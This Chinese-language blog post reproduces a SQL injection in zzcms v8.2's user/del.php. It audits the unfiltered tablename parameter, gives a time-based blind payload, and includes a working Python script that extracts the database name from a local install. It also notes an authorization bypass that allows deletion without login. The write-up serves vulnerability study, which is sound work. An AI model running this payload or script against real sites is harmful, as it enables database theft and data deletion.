一、下载

下载地址:http://www.zzcms.net/download/zzcms8.2.zip

二、安装

需要环境:

  1. 可用的web服务器(如Apache、IIS等)
  2. PHP
  3. mysql
    推荐使用phpstudy或xampp(mac中)

直接解压在根目录下,进入install安装。安装完成后的界面如下:
zzcms v8.2 sql注入漏洞复现

三、审计

由于其注入点在user/del.php中,我们先去查看代码:
zzcms v8.2 sql注入漏洞复现
可以看出在这里,传入的参数中,只对id进行了参数过滤,并没有对pagename和tablename进行过滤。

再往后读代码可以发现,tablename未经过滤直接被拼接在了sql语句中
zzcms v8.2 sql注入漏洞复现
所以我们可以构造$tablename来进行注入。

这个php文件对应的功能是用户的删除操作,而id对应的就是数据的条数,id的值不能为空,所以我们先发布一个代理,使其值不为空。
zzcms v8.2 sql注入漏洞复现
在数据库中查看该数据的位置,发现是存储在zzcms_dl表中的。

三、漏洞复现

接下来我们就来构造测试语句,如下:

id=1&tablename=zzcms_dl  where id = 1 and if(1=1,sleep(5),1) %23

使用burp抓包修改参数:
zzcms v8.2 sql注入漏洞复现
成功了,5秒才出响应。
zzcms v8.2 sql注入漏洞复现
接下来就开始写python脚本了,此脚本只实例了**数据库名,其他的大家稍作改动即可。

import requests

cookie={'hibext_instdsigdipv2':'1','PassWord':'80c9ef0fb86369cd25f90af27ef53a9e','PHPSESSID':'s0eds2bfjuuh8esiht2t110qu6','UserName':'a123'}
result = ''
for j in range(1,11):
	for i in range(48,123):
		
		payload = 'if(ascii(substr(database(),'+str(j)+',1))='+str(i)+',sleep(5),1) #'

		data = {'id[]':7,'submit':'%E5%88%A0%E9%99%A4%0D%0A','pagename':'dlmanage.php%3Fpage%3D1','tablename':'zzcms_dl where id = 7 union select 1, '+payload}

		r = requests.post('http://127.0.0.1/user/del.php', data=data,cookies=cookie)

		sec = r.elapsed.total_seconds()
		if(sec>=5):
			print(r.elapsed.total_seconds())
			result = result+chr(i)

	print (result)

====================================================================

今日思考!!!!

写这个脚本加改bug花了整整两个小时!!!!????(我真的有空手写bug的超能力啊,泪奔~~~)主要问题如下:

  1. 刚开始写的sql查询语句如下:
select id,editor from zzcms_dl where id = 7 and if(ascii(substr(database(),'+str(j)+',1))='+str(i)+',sleep(5),1) # where id = '7'

结果发现当该表内数据为空时,if后面的语句都不执行,换成关键字‘or’也不行,改成联合查询就好了。修改后的sql查询语句如下:

select id,editor from zzcms_dl where id = 7 union select 1,if(ascii(substr(database(),'+str(j)+',1))='+str(i)+',sleep(5),1) # where id = '7'
  1. 由于该延时注入是删除前的查询操作,所以是在用户登录的情况下进行的,需要添加cookies信息。但也发现了该cms存在越权漏洞(若无登录,只要是url和post的data正确,也可以删除数据)

  2. 在获取界面响应时间时,我使用的是如下方法:

r.elapsed.microseconds

看到它是说微秒就直接换算成秒火速用了,谁知道调bug的一个小时都花在这里了????,所以说!!!做事要细心呐????

这里细说一个这几个方法

方法 作用
microseconds 获取微秒部分,大于0小于1秒
total_seconds 总时长,单位秒,精确到小数
seconds 获取秒的部分,取整
days 以天为单位

最后将代码改为:

r.elapsed.total_seconds

即可!

做事要细心!????

相关文章: